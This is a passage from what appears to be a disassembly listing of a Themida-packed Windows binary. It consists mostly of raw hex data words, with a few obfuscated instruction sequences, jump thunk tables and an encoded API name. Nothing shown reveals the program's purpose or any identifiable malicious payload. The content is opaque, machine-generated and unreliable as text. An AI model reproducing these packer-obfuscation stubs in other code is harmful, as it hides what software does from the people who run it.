5EB56000h, 3ED78166h dd 830F6104h, 19h, 14E9h, 71EF0100h, 74942902h, 8AB4330Dh dd 0FDE05BB9h, 14A69284h, 8D8DF899h, 61C0561h, 8D89F78Ah dd 6143229h, 2820Fh, 0F2B40000h, 64D85C7h, 6B2C0614h, 2FB20000h dd 267185C7h, 614h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 416102C3h, 8B4BB4B2h dd 14083D95h, 0EBCF8106h, 0FF25A31Ah, 14220DB5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0E55A3607h, 6195FF7Ch, 89061423h, 1416218Dh, 0FF006A06h dd 14116995h, 0EBC08B06h, 0E2FB797Eh, 4FD60C4h, 3ADBCCE0h dd 0B95100C5h, 0F4022A90h, 58B9C9B2h, 7F3ED737h, 69FEB321h dd 0C25789B0h, 0A439FC54h, 0A352A0A2h, 0DD6E473Fh, 0F706A9C5h dd 1D90C27Bh, 98F5481Dh, 66FE26DAh, 0CF555421h, 0AEA7ACF1h dd 31EF4114h, 0D7AC01BAh, 0FF49E35Dh, 0C68768D3h, 17111103h dd 8C5342F2h, 26406CB5h, 7ED9A8E4h, 0B871E561h, 38B64462h dd 2A0110BFh, 0FDC48519h, 0FC05A880h, 0E8D4DEF8h, 0Ch dd 0BAE98665h, 6F1F0F09h, 0D75696BEh, 0BE8h, 59805400h dd 57C9A8B4h, 0B9781F02h, 0F6F18166h, 665A5933h, 2DD381h dd 7295C281h, 0AE90000h, 4B000000h, 546A8DCAh, 87F8CB84h dd 1C7468D6h, 81660000h, 5F7358C6h, 22459D0Bh, 32FF0614h dd 58F38B66h, 8E9h, 1A0C700h, 0E3A3565Ah, 0AAC081F7h, 0B56A45AEh dd 70F081DEh, 0B515A687h, 39C0818Bh, 8B4D4AB0h, 140E359Dh dd 0E8605006h, 0Ah, 99DA2D91h, 16F506C7h, 72B3E64Dh, 0D1858B5Fh dd 61061402h, 2956028Fh, 1430AD9Dh, 0EA815E06h, 279A39D9h dd 6830Fh, 9D230000h, 61424F5h, 39D5C281h, 0EF83279Ah dd 8B850F01h, 89FFFFFFh, 14141DB5h, 0EDE906h, 66600000h dd 4A8D88Ch, 0DF840Fh, 0B58B0000h, 6142581h, 0F00FE83h dd 2285h, 5985C600h, 4506141Ah, 72696968h, 45B5FF8Eh, 8D061411h dd 1780DB85h, 89D0FF06h, 142EF985h, 80F08B06h, 850FE93Eh dd 31h, 7F47858Dh, 0D0FF0619h, 2421BD8Bh, 0C7810614h, 1184h dd 2581B58Bh, 0F7870614h, 8B9h, 8BA4F300h, 142581B5h, 12858D06h dd 0FF0617AAh, 5DB58BD0h, 83061421h, 850F00FEh, 22h, 1A5985C6h dd 68540614h, 0FF4EBEF4h, 1145B5FFh, 858D0614h, 61780DBh dd 8589D0FFh, 614215Dh, 3E80F08Bh, 3A850FE9h, 8B000000h dd 14215DB5h, 47858D06h, 0FF06197Fh, 21BD8BD0h, 81061424h dd 1184C7h, 8C78300h, 215DB58Bh, 0F7870614h, 8B9h, 8BA4F300h dd 14215DB5h, 12858D06h, 0FF0617AAh, 8DC361D0h, 1C06B785h dd 19858906h, 0E906142Ah, 33h, 56C8E149h, 0Bh dup(0) dd 0E9000000h, 461h, 1C08F168h, 7629E906h, 6768FFF8h, 0E9061C09h dd 0FFF8761Fh, 1C0ABE68h, 7615E906h, 0BF1DFFF8h, 2D1AE00h dd 468C69BBh, 8F462375h, 0DCFBD82Ah, 62568FE1h, 0E234894Eh dd 9BEDCC05h, 53A51ABEh, 95B6076h, 896F75FDh, 9D580DEFh dd 0C5123BA2h, 973F4CF8h, 0E14DC24h, 51F1E828h, 0D5E5143Ch dd 0A92E8BF9h, 78106814h, 1D6B2A30h, 0C89F57E5h, 60B599DCh dd 0D91C09Dh, 11F339E5h, 1C58063Ch, 5D5C7946h, 8D0259B1h dd 84BF5EA9h, 80C21443h, 0D98E5A0Bh, 6F3C04F8h, 0E8CE5467h dd 0FC580656h, 0C73FA5D4h, 37000002h, 0A34F6C6Ah, 17351C4Bh dd 0E863494Fh, 9F7751F1h, 0F1E7B399h, 79FC751h, 89268CD8h dd 252B731Bh, 57E501DAh, 8BDF80A8h, 0B5286820h, 4E963AA8h dd 5E9A2148h, 0E38FB75Bh, 7DC569D7h, 72B58277h, 448CB461h dd 145C5F77h, 2318C47h, 0FAC115F2h, 1F2CE11Ch, 16240E35h dd 2B4h, 94E6D903h, 4FA11CB7h, 95B6072h, 0BE10A92Ch, 75C7F6E1h dd 0A3347C3Ch, 0E6EBC81Ah, 34A481D3h, 7A5C398Bh, 5BE3EF41h dd 0DF06F55h, 21888358h, 0A2424017h, 6814AB2Dh, 0FDE5B910h dd 0DBE0F643h, 8C34A2ACh, 4B933E44h, 0F92157EEh, 1B21E9B1h dd 580E4B35h, 0E7F22149h, 9E7BCDF0h, 0B508CF39h, 4A2B711Dh dd 0CD580E4Bh, 33D4B209h, 0D03EA497h, 23ED8E6h, 63790000h dd 0A62D0A5Ch, 0EAE8C517h, 33A27FD1h, 80573486h, 6B2EB3Dh dd 3E902DAAh, 0F7497061h, 0AF01BE1Ah, 65B704D2h, 0E5CBD159h dd 0F9580DF0h, 0A51397FEh, 0ABB1F9h, 8E57EDF0h, 9274BA66h dd 9D580DEEh, 5D2ADF7Bh, 0F4FA4279h, 580DEF0Eh, 5FCBFA22h dd 0F8D1E706h, 199F8h, 0C4120F00h, 983E4BF7h, 2F04DB23h dd 0B308CA65h, 64D0C45Ch, 0DB492535h, 5623EB33h, 8B933F7Ch dd 0F2969F85h, 0F38BB351h, 0E7ED80C4h, 335B57E5h, 0C75F4187h dd 486A5806h, 0ED4910Ah, 612AF8D9h, 41000000h, 0BF714017h dd 0ABEA4F12h, 0F21CBFA5h, 13ABD351h, 0C46CDAE4h, 37B3767Ch dd 0A98157E5h, 636BDA3h, 11A9D158h, 0F3D6F2C9h, 0B0153013h dd 9F4B6E63h, 68AE1847h, 5806D286h, 8234C60Bh, 15A563D8h dd 0F2FFAB43h, 1A30DCE1h, 8E5554F6h, 0D3E6EBB8h, 4EA0CF27h dd 0FDCE970Ch, 9B30F8D8h, 47000000h, 4BF7C412h, 7824993Eh dd 0D3A06B6Bh, 5137BD00h, 0DE51F1E8h, 0D5FDC3F8h, 5284913Dh dd 0F29E1FB4h, 9AB0029Ah, 51F1ECDAh, 0AE00BB1Bh, 74BC64D2h dd 0E6C2D56Eh, 0CF173F57h, 729D502h, 0B75CE2F2h, 87B0192Dh dd 2A1DFA30h, 74634092h, 1EA66B49h, 87713EAAh, 0E779h dd 0B30CD000h, 6E4F8461h, 28933F1Ch, 0DDDCF9D6h, 9429AE8Bh dd 1AF0942h, 0B895E7D6h, 714EA019h, 29065867h, 0B0BC0EADh dd 0F23C2228h, 5550580Dh, 43C512EEh, 59667292h, 25BD55ADh dd 0DBE0F6D3h, 4F17D089h, 0F1E86349h, 204F7751h, 4EFAC115h dd 0D4269541h, 9EE68AF8h, 0E5542D98h, 0CB133B57h, 4F353B03h dd 63580635h, 7EDF33Bh, 1B580635h, 1EB9C4F3h, 9E754D9Fh dd 3898BB8h, 2A6E9D70h, 58061748h, 0DBF309CDh, 0FB9C0AAAh dd 0D3E6EF3Ch, 0E537CF27h, 42EECF08h, 4B34h, 0A5138B00h dd 7E2A9344h, 40468E26h, 57EDF0A9h, 3E4BF71Fh, 0F4D12398h dd 0DAE24E2h, 783C975h, 4706C0FEh, 498DA7E3h, 93432072h dd 666F7C28h, 993E0B53h, 0F1207824h, 0F2903287h, 0CD1F9C3Ah dd 29D5E6F0h, 31Bh, 7DE47200h, 49F5CA12h, 75219A3Ch, 0A34F7068h dd 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh, 8733884Ah dd 0B864597Ah, 5A545233h, 4C281h, 0EA830000h, 24148704h dd 58E3685Ch, 14890000h, 66B76824h, 2C890000h, 0F7BE5624h dd 8107743Eh, 0F8793CE6h, 81D6F744h, 93CFC0F6h, 48156FDh dd 55723F24h, 0EA815A0Ch, 0C55723Fh, 2C8B545Eh, 4C48124h dd 68000000h, 28A7h, 0B9240C89h, 8, 1189E901h, 2434FF59h dd 4C4835Dh db 8Bh, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5509FF ; --------------------------------------------------------------------------- db 0C4h dd 0BCAB806h, 0C503061Ch, 48D3E0FFh, 0A3712CCFh, 0D23E628Bh dd 62514232h, 0E36F6FAAh, 0F6D0347Eh, 2AB0D37h, 52085EB8h dd 59082D3Bh, 0E5F0B1Fh, 0B0463E70h, 0AFE40630h, 0ADC856ADh dd 54C55F1Ah, 0FE9618F4h, 58632DAEh, 880A7A42h, 0D8CF7E28h dd 1A5C64DBh, 69A43C2Eh, 2A71104h, 18D645BDh, 0FE050311h dd 0F2DA70B1h, 86010D18h, 50CC5940h, 978A128Eh, 8D8D536Fh dd 61C0DADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 79C35646h, 0EACB4E61h, 9997B771h, 10E9h, 0D891D600h dd 52213C4Eh, 6D024D7Ah, 0D1B81666h, 298D8933h, 6A061432h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 7B68C355h, 0A507AB7Dh, 0B58B67BFh, 6141725h dd 31D78166h, 4D85C711h, 7C061406h, 8B000061h, 7185C7D3h dd 61426h, 0F000000h, 0B5FFC1B7h, 6141601h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C35242h, 61EBE039h dd 0FF4FD8C8h, 14236195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0A5E89883h dd 0C090EF3Ah, 4BF66ACh, 0FF006A06h, 14116995h, 0EBC08B06h dd 7D95BA3Eh, 0BD588FD5h, 0A58BA6D3h, 0A770987Bh, 0F4C3ED2h dd 7C87AE38h, 0B97C9533h, 861363D5h, 7EEA76FFh, 4029768Ch dd 37C50BBDh, 0E48BD7BAh, 3B5A04FFh, 6ADA047Fh, 15D6F77Bh dd 0E914ACF0h, 35h, 3C15B484h, 416C7452h, 636F6C6Ch, 48657461h dd 706165h, 140000h, 7 dup(0) dd 102FE900h, 82680000h, 0E9061C10h, 0FFF86FE7h, 1C116D68h dd 6FDDE906h, 6668FFF8h, 0E9061C13h, 0FFF86FD3h, 1C146468h dd 6FC9E906h, 0B868FFF8h, 0E9061C17h, 0FFF86FBFh, 1C184568h dd 6FB5E906h, 8468FFF8h, 0E9061C18h, 0FFF86FABh, 1C197868h dd 6FA1E906h, 1468FFF8h, 0E9061C1Ah, 0FFF86F97h, 1C1A8968h dd 6F8DE906h, 0A68FFF8h, 0E9061C1Ch, 0FFF86F83h, 1C1CF868h dd 6F79E906h, 23B9FFF8h, 666D4A9Ch, 0AA280557h, 0F3E2BF11h dd 409774C6h, 0C6F22B7Dh, 7ED0EDEAh, 378930A1h, 0EF417E5Ah dd 0A5F7C412h, 250B1199h, 39580DF6h, 0C412D73Eh, 983E4BF7h dd 6E6A7723h, 0AE50A551h, 48905DECh, 993D4877h, 0E4F3D022h dd 14C491D9h, 946C7CABh, 54ED0FC7h, 10228D99h, 0ECF726BEh dd 1D25D1EAh, 80868750h, 51F2B69Ah, 42EE86AEh, 26B0BBEAh dd 58804D95h, 3B81A67h, 1FECC4D4h, 3A7F52B2h, 6E545AA2h dd 8251F2B7h, 0B3212B5Ah, 8385E24Ch, 0A1303DC7h, 9E338018h dd 733B831Bh, 97D02CA6h, 846B50A6h, 0F03463FBh, 57E59D5Dh dd 0FBC47249h, 72385E25h, 7C8FBD1Bh, 9AC9DFE9h, 0FC42EE16h dd 5806A51Ah, 0D783369Fh, 8B409CAh, 8D6C2E92h, 0EDE6A4C6h dd 0F8D93078h, 0BE480FE6h, 0D642DA99h, 5541A7h, 13580000h dd 0E9B1F9A5h, 0F1E7FDE3h, 9CE91151h, 4C52813Ah, 0E5038346h dd 107CF57h, 5806031Bh, 3885522Fh, 0C5ED71A0h, 0C9AFB57Dh dd 0DD580602h, 0D61C86B5h, 580602F4h, 0B15D5C79h, 0E28E2FA4h dd 0EBA01D5h, 0E2A004B6h, 741638FFh, 0D9D7065Fh, 0D8F8F8h dd 170F0000h, 8733884Ah, 0C8F5E22Fh, 0BE488E99h, 575DA51Ah dd 51F1E871h, 19C55D85h, 46F2CB0Ch, 0A766713Eh, 0F1E7BBA1h dd 0FA7CF51h, 5DB40B63h, 0E380E27h, 686E79A8h, 0D3359Eh dd 0E18D25BDh, 67B902D4h, 0F2CE9051h, 0B803D351h, 0B2B78E66h dd 1F8A3357h, 0F6E0EB1Ah, 9F0D19C5h, 66A1A7EFh, 9257E5EBh dd 0EBDEC4CAh, 1AF25806h, 6EC2E14h, 821A4258h, 55A7CF53h dd 1B630B79h, 0FBC2E915h, 951795Dh, 646D9B3Ch, 0B951A955h dd 8D2EA471h, 66714E5Eh, 45C67957h, 0C3AD3895h, 0D3DB5h dd 77489400h, 328B4825h, 0ECCF03E0h, 0A118BD9Ah, 5865724Fh dd 0C5EBCD06h, 7C59AB12h, 35126455h, 0EDCA1CA3h, 7480D2E9h dd 0F800E6ECh, 1914580Dh, 0F8C512B2h, 0AE0DC9A6h, 0A513A35Ch dd 0E8ABB1F9h, 0B657E502h, 5E79468Eh, 80C6305Fh, 5806029Eh dd 5E0AB523h, 8D398051h, 169BB71Bh, 0DC6D2D4Fh, 48F4C70Fh dd 1055C1F0h, 0EEF8D9D7h, 0BDh, 0F7C41205h, 24993E4Bh dd 35A37078h, 56175B8Ah, 9E51F1EDh, 0BB706D1h, 5D7984B3h dd 0A72F0C5Eh, 0D5F5CC14h, 50CC0CA4h, 4753BDECh, 3E7476D9h dd 0C216DE6Dh, 0A1DCE22Ah, 4F57E5F2h, 8BF9D527h, 7A959BE3h dd 0E85DFBC6h, 9DA178C0h, 888F6C9Dh, 21D3C070h, 5FF776E9h dd 7A5D2A30h, 0C314F143h, 290A483Bh, 0ABF3F3D5h, 1D97BFA5h dd 13ABD35Eh, 95511435h, 7B897338h, 0C52h, 10625D7Fh, 0CB1DA033h dd 85D7E4EEh, 3A8C2DA8h, 0F1437A5Dh, 27B000B8h, 6A674496h dd 0B820FD4Fh, 0FED8B507h, 0D75F6BBDh, 0DF8EBD1h, 9D04FF58h dd 0B0F8C512h, 9DCCEFE3h, 0E026B08Dh, 0DE30C8F1h, 0F7C41225h dd 6076434Bh, 270D135Bh, 3B51F1E8h, 0FDD9E413h, 0C7946CBEh dd 7660AD10h, 0F0D21645h, 7551F1E7h, 2B085A61h, 745A60ABh dd 8851F1E8h, 0F1CC860h, 0D648F4C7h, 2AE1F1BEh, 0F1E83E24h dd 922A5251h, 0E85E444Ah, 4A7251F1h, 7889C91Bh, 243534A1h dd 0F293381Eh, 0CD244C51h, 5B8A4A16h, 0E3358650h, 0ED48C0A5h dd 0D5C79EFEh, 4CE3AC01h, 736ED403h, 85000000h, 173AA513h dd 615CD47Bh, 0E6EC34CCh, 57E55367h, 83C9759Dh, 580632A1h dd 0D3C88AACh, 0F8D9A292h, 4D6Ch, 0F6D98300h, 7E51F1E7h dd 12186010h, 57E53273h, 0AC79C1E9h, 9444912Ah, 0FECFC2Bh dd 3D49F5C8h, 83696FCFh, 97580612h, 898FD76Fh, 5DFA13DEh dd 15F2446Ch, 4450FCC3h, 1AE22AD6h, 231884Dh, 0D4723BEh dd 17699164h, 87239h, 0A5139000h, 90289144h, 33474248h dd 4D7557E5h, 13795BA1h, 62845806h, 0C2BAAB20h, 0D44F8D9h dd 5B000000h, 0F1E7F7D9h, 13E33151h, 3AFFFFFCh, 47A44017h dd 37EFE93Dh, 26D2E7EAh, 27959FCEh, 0FA292F77h, 9057E5E7h dd 9476BC68h, 9F5805E7h, 5F2CDD7Dh, 3F974376h, 0EDC1A410h dd 0F03DF8D9h, 54000004h, 12DF6AD1h, 0C2CCFBC0h, 5E64AC54h dd 57E50213h, 7B40925Fh, 0FFA0C84Ch, 0B08312E9h, 3783696Fh dd 6F975806h, 2FAE218h, 0B1CE8FD3h, 0A41201C8h, 1FECB4FCh dd 35B07B2h, 709F1CB6h, 0BEAC792Ch, 53FF2707h, 0ED35D947h dd 0D807B820h, 2CFFCCD2h, 0A9D10DD4h, 79429461h, 4B746431h dd 0A72F0C1Ch, 0BC1D3614h, 947E88BBh, 0A5986h, 5B647800h dd 16A72C09h, 0D0EBE7C4h, 8534A17Eh, 3C815633h, 0A907B1EAh dd 603D8F2Eh, 19F64871h, 0D1AE00BFh, 5864B605h, 0FAE4CAD0h dd 0FDF8580Dh, 0F7C41296h, 5F76434Bh, 0E7BEA4AAh, 0AAD251F1h dd 6BD9E312h, 4233A104h, 0D26A33DEh, 0D50D848Ah, 664357E6h dd 6EB64E6Bh, 368837A1h, 0ADFA875Eh, 0EC45031Bh, 0CD25D1EAh dd 0DDFB0635h, 7F17A62Dh, 83A78DD3h, 19FB5806h, 9F5805B4h dd 3F458D31h, 5DF9B744h, 589E4A72h, 5E1AB776h, 0A8235F81h dd 0F2C522BDh, 2341h, 0A5135800h, 7EE1FD3Ah, 0A1395669h dd 21E45359h, 0D2FA57E6h, 0D2471E26h, 701B3FEh, 2D64709Fh dd 0BB000000h, 0B1F9A513h, 6DF68CDAh, 8FDC00C4h, 72CA7649h dd 4C373D43h, 5A57E5EDh, 1C22EA32h, 5806ED36h, 0E4CB224Ah dd 39A18502h, 7D66D0FFh, 4147C412h, 51F1E85Bh, 0D1AF476Fh dd 44C1008Ch, 5B2B3923h, 76000009h, 2A075966h, 0E5C214A9h dd 9F7CCEEDh, 54318336h, 0AFE83A83h, 8D30A709h, 46735E3Bh dd 0FEC117F4h, 0B407CFACh, 0C8CE5662h, 580DFBE2h, 1794FBF6h dd 85318E4Ah, 86F4FE2Dh, 0B18C92DAh, 9F57E5EDh, 11A916C2h dd 3D7E5865h, 0EAF28F5h, 0CBDB0A62h, 4E2752B5h, 66DDA7Fh dd 7968678Bh, 39811991h, 725B9162h, 6375817Eh, 0C058B05Ch dd 37A58191h, 5F723F87h, 2756AE5Ah, 8B915921h, 7F5145A5h dd 0F5DBE1B9h, 97F5145h, 0D61A49E1h, 85446AEBh, 1825D1F9h dd 31884DBBh, 0FD6B4799h, 8030951h, 368B588Eh, 0DCF9C60Eh dd 6612AB28h, 72CA760Eh, 0B193D943h, 0BC8B798Dh, 82E3F89Ah dd 0DCC56647h, 0C4F3C60Fh, 1585Eh, 0A5137500h, 0F1E4B1F9h dd 77C41CC8h, 282E5D60h, 0E5EE4722h, 81DCB357h, 0E2EF6299h dd 0A0C84C7Bh, 0CCEFE7F4h, 0E913AD84h, 8097E0CEh, 72644151h dd 0F4579D49h, 7B7F4E8Ah, 2C31A35Dh, 66D27E10h, 3B0B22CEh dd 69E1DA63h, 689E3481h, 0CB85069h, 0E514369Ah, 51AEF9DFh dd 4DE50D7Fh, 0DD173397h, 9370C2F9h, 63307843h, 7C3F976Fh dd 34E078D0h, 0FD43ADDCh, 0A699E89Ah, 0E11B37D9h, 9774C6F5h dd 0E0C6CC3Fh, 0F4A69CE9h, 15EC34CCh, 0D62015h, 60B70FBBh dd 4C8AC1A7h, 3EA8D76Fh, 0D21ACA32h, 9D07C6CCh, 0A0F21AA6h dd 62AA56C4h, 0B40BCD9Ah, 2AC64185h, 17F4AC90h, 2A8F46BEh dd 0F68EE692h, 5D75424Ah, 0B2242F5Eh, 12DFB709h, 0F74FFBC0h dd 0A219BDC8h, 29A2B0F6h, 0D127ACB1h, 2A1D0309h, 931ACB1h dd 32CA88DAh, 0AFC517A4h, 7EE46317h, 9EE68CF9h, 61EAD0D6h dd 0D6FE2105h dd 0F7BF97A7h, 5620BF1h, 8F421F21h, 8E267E2Ah, 3982545Fh dd 9B1478Dh, 339EA54Dh, 22BA01D1h, 536A6976h, 2D6D91A7h dd 6800BB17h, 0FD0C4EB2h, 9492F35h, 0FDD6A74Dh, 0A3D2FAC0h dd 2B7D3E98h, 0EB33884Eh, 5A06B31Eh, 5D69D302h, 0F1F73FEFh dd 0AD4037D6h, 0ECCA1C44h, 6Ch, 0F9A51343h, 0EC3CABB1h dd 2A5257E5h, 2E141AE2h, 425805EDh, 2059415Bh, 45DDC3C5h dd 349FAC16h, 63744189h, 0E56AE5Ah, 6062208h, 0DF0E3658h dd 9220F7CFh, 66557DC0h, 0BF0B62BAh, 0D9EE1D84h, 97FF8635h dd 454B3137h, 68CE5806h, 36723923h, 28C0E8AEh, 0FCDCDAE0h dd 0C18E5805h, 0A1F9A514h, 6BC6EE72h, 0BCFDD8A5h, 0A289B810h dd 0A5F7C412h, 0E7D800CDh, 0AAB4E33Bh, 464C943Ch, 57E5E963h dd 0AAF22EFh, 53D7065Eh, 0C216E32Bh, 0ACEABFDh, 8FFD09B5h dd 1A9197DFh, 0CE5DF9EAh, 0B7E6D501h, 195F0B33h, 5E191937h dd 579F4FBDh, 0D1C5651h, 0B05C8464h, 2E1C886Ah, 0D1719364h dd 0B1BDABBAh, 0ADCB3ECh, 0CF7EBD5h, 23006695h, 17000000h dd 0B1F9A513h, 0E5EC3CABh, 7E2A5257h, 0C2A8AE76h, 0D65805ECh dd 48E0DFF9h, 0B5E4D7FBh, 33A9h, 0A5130000h, 1CE9B1F9h dd 977D03BCh, 0AB51F1E7h, 484E5483h, 57E50D5Dh, 455E12E9h dd 47D9A68Bh, 0B62D6C2h, 72A1DB03h, 2A1016EEh, 3E58060Eh dd 0E9D27E16h, 19F7C412h, 44C1014Eh, 77D8B75h, 0CA000006h dd 7E5BAD12h, 39166855h, 0F3D02299h, 0A885D7E2h, 33C8E2Fh dd 0E1DCFBB5h, 9A1FB28Fh, 526D6B48h, 8B32300h, 1C22AAB6h dd 580DFF36h, 0D1E84F4Ah, 0B25ECC79h, 219646Ah, 986557E5h dd 0CD518039h, 8AB004A5h, 98984ADCh, 383E862Ah, 20400E11h dd 7E7E5825h, 867B7866h, 0E28E268Dh, 22BA01D5h, 9B476FF3h dd 357D218Fh, 54803A2Fh, 0FC446C26h, 9D745D34h, 0D6544A4Dh dd 813A9CA7h, 3784522Fh, 3DD51859h, 0C7D5BF70h, 57Ah, 0E83A8557h dd 0A3F5C80Bh, 5DAF0CC6h, 12645580h, 0C91BA235h, 4F882890h dd 923F1C6Eh, 0E0F8D527h, 26B08DDFh, 0AF374395h, 0DFFC3A9h dd 75DCD758h, 19F7C412h, 44C10162h, 3B919F89h, 96000005h dd 4A277946h, 5E23489h, 0BF9CEECDh, 7451A316h, 0CF085A63h dd 0AD10C7E9h, 66537E5Bh, 1EA13714h, 0D4E7EFCCh, 0E8EE7682h dd 580E0002h, 12B41B16h, 3F4BF7C4h, 0DFE52DD1h, 57ED15E4h dd 1F9E3512h, 0EB593587h, 6B33FB43h, 0DF67F65h, 0D6AC9358h dd 0CCF037D8h, 25699830h, 5E013E66h, 28933F1Ch, 0FBD7247Ch dd 367C28C0h, 5E221E54h, 0BBC1895Fh, 5E221DD5h, 4092C1E9h dd 0B7DC8902h, 0AD22F2BDh, 1A000000h, 4338A4Dh, 0CD6CD11Dh dd 13F9FF5Fh, 0A551F1E8h, 0F1E7B99Fh, 0DFA5CD51h, 0D1D71FB7h dd 57E50186h, 378B2C54h, 0A50A342Bh, 7A1887F5h, 0AA11C5EEh dd 16A79653h, 7D30367Eh, 2B2D003Dh, 0EDF3BB03h, 2D213D07h dd 5AC4F31Bh, 0E830E04Eh, 15BE15E2h, 77BFE733h, 659429AAh dd 0C244925Fh, 0BC0EA613h, 0E6C4F7DFh, 637A2B9Fh, 47687660h dd 8A000004h, 3E1B6D52h, 0F9D62895h, 0B390E2D9h, 68459722h dd 0C3FC4E6Fh, 0A11CBBF5h, 5A5F724Fh, 12AD2B08h, 0C8F3E3C0h dd 0DCE26A76h, 580E00F6h, 17A80F0Ah, 8834894Ah, 90F50130h dd 4C000000h, 63494F17h, 7751F1E8h, 0A816204Fh, 0BFAAB0F8h dd 0CD57ED15h, 46905DA5h, 90462375h, 5737F2Bh, 1C0B1159h dd 325E0148h, 0F4FAC20Ah, 5E22280Eh, 2BADFA22h, 6190E894h dd 0D17DEBF7h, 0A21BBC89h, 40676D73h, 0D6641545h, 0AE24DAF9h dd 52697F70h, 29079F37h, 327C7066h, 0ABB5C3ADh, 26000003h dd 0DAB709B6h, 9572C4F9h, 4F2C7E3Dh, 4E13386h, 5F98EAD3h dd 3D805759h, 0F6C30EEBh, 0AE11C7A4h, 64577F5Ch, 787E0612h dd 580E0192h, 0D944ABA6h, 51F1E7F3h, 0A11AB885h, 0E84C2E72h dd 0FFD651F1h, 52196EC8h, 64E9Ch, 51F24B1Ah, 0CDD7062Eh dd 9A67AF5Fh, 4A507F3Ch, 0ED794944h, 399A7757h, 0E880D884h dd 14A72F3Ch, 0A4906336h, 0CCDAC43Eh, 336h, 2C7E419Bh dd 0E739844Fh, 0A1F3C80Ah, 56A811C4h, 0D5F5E79h, 0BCCE4D4h dd 4E8360B2h, 9C3C196Bh, 0E2F4D123h, 0F37B87D9h, 0E0207EDh dd 0B9201B58h, 4BF7C412h, 3BAD6C43h, 0A89968Eh, 663D1DBh dd 0A52EACFh, 8E747A42h, 0A251F23Eh, 3F0EF47Ah, 0FA2251F2h dd 0E8BFC5CBh, 0DE57E644h, 3EEAD101h, 24FC4EE6h, 0D3C7F57h dd 8B8F73C9h, 0C6F7E081h, 7D409774h, 0D7FCC9D1h, 40ADB7E6h dd 12874092h, 3E4BF7C4h, 0EDB2398h, 0B4C4F3C8h, 7EC66AD8h dd 0E538E578h, 7F2B5357h, 6185739h, 0C4F5DC58h, 0F1CC0B18h dd 9992E45h, 779EDB4Ah, 0BC3D5DC1h, 1CB7D3F5h, 0F8D98049h dd 3CB5h, 42D6AD00h, 361D1FE9h, 0A99C4CA3h, 6037407Dh dd 0A5134A31h, 0E8ABB1F9h, 0B657E502h, 0BA9CE28Eh, 0C5580602h dd 51B322EFh, 368E3A81h, 6B9AF29Eh, 3627919h, 0FBF8D9D7h dd 0C7h, 494F1712h, 51F1E863h, 15204F77h, 414EFAC1h, 6E7B2796h dd 9AA75368h, 0AE0BCA3Ch, 0C012AA02h, 0F1ECE9AAh, 11AA2C51h dd 0E1DAFCC9h, 9EAEDD35h, 0FAA615C1h, 88D080EEh, 0ECD4BAC0h dd 0C0E851F1h, 0ECC38B91h, 0F3E48903h, 206493F6h, 57E5C37Dh dd 0B591E30Bh, 494F9747h, 5DFB7BC6h, 219C3714h, 0B46A4189h dd 0AC6695F1h, 78454B7Ah, 2F0C5E5Fh, 467760A8h, 1B12F8FEh dd 0FE265E1Dh, 0CE1B8866h, 36203895h, 1B528h, 0FFC01C00h dd 0BA03D0ADh, 74478B68h, 29904522h, 0E0DDFAD7h, 4D63558Eh dd 4E1338Ah, 0BD9AECCDh, 7552A41Bh, 0FC085A61h, 4886E74h dd 0A19C580Eh, 8B4A173Ah, 0E3F4FF2Eh, 2BAB88DAh, 17853E90h dd 1308D4Ah, 9DE589F7h, 21070DD5h, 3551F1E8h, 0D79ADE0Dh dd 0A557E502h, 0A98BD17Dh, 2E580602h, 5A6713A8h, 7F95417Eh dd 0D0053F5Bh, 688A51E9h, 0D6B4B12Ah, 0B74AF8D9h, 61000000h dd 4BF7C412h, 8F757B43h, 0A351F1E7h, 96414C7Bh, 74357B27h dd 0BC51F1EDh, 2DD9E4EFh, 3B9BA6D5h, 6A703880h, 51F1ED84h dd 31417098h, 0F1AE8259h, 802C9345h, 0AA41D128h, 31A5B0DFh dd 64D2DE8Ah, 0CB6E74BCh, 0D757E5AFh, 8F23090Fh, 0F375806h dd 0E2345CE0h, 0A0E89806h, 0FB62769Ah, 96DE065Dh, 5DAF0EC9h dd 88665780h, 3895A625h, 0C732402Ah, 0A000000h, 0BE9BEDD2h dd 7956A815h, 33106259h, 0E8C517A2h, 437CCEEFh, 219C3B75h dd 0DADFF2CFh, 922DAB88h, 48736340h, 5C62EAF6h, 580E0476h dd 12288F8Ah, 0CEA6F8C5h, 0B9E8D701h, 4B9328AEh, 3867547Eh dd 0C4126F28h, 983E4BF7h, 87F5D123h, 0C1C78FD7h, 51F1E7DBh dd 8A506968h, 272D3362h, 57ED1650h, 4FBE5F46h, 9C5A0487h dd 88505804h, 0E7C9C82h, 46C51F58h, 0F48EF1Ch, 0D3D92149h dd 580E7EEDh, 9FAAD901h, 55328437h, 488E3A81h, 72184907h dd 0DBFCC9E1h, 2161B3E2h, 9A3BCB0Bh, 5835871Fh, 84913D7Eh dd 9924B351h, 51FD95EDh, 4385AFCh, 0BA97E9D2h, 8A579F1Ch dd 6CC4704Dh, 3C5D33Dh, 1C000000h, 0CA127DE4h, 9A3C49F5h dd 70687521h, 3B96A34Fh, 12C5D27Eh, 0E5F2FFABh, 0B61F2CD8h dd 884A5703h, 597A8733h db 64h, 0B8h, 33h byte_5CA9C3 db 57h ; DATA XREF: Themida_:00549620o ; Themida_:0054B194o ... dd 0C7815F54h, 4, 8704EF83h, 575C243Ch, 0C781E789h, 4 dd 8704EF83h, 895C243Ch, 0EC812414h, 4, 68240C89h, 61C0EA7h dd 8124148Bh, 4C4h, 4EC8300h, 81242489h, 42404h, 68590000h dd 36D6h, 89243C89h, 87989D7h, 2434FF5Fh, 4C48159h, 0FF000000h dd 835A2434h, 0D0E904C4h, 0E8FFF85Fh, 1EA98DA3h, 6A63366Eh dd 0E3BAAB6Ah, 1DE4B87Ch, 0C503061Ch, 41BCE0FFh, 0E30E593Ah dd 42E154F6h, 9BA73F7Ch, 438D4474h, 45854AAFh, 9830546Ah dd 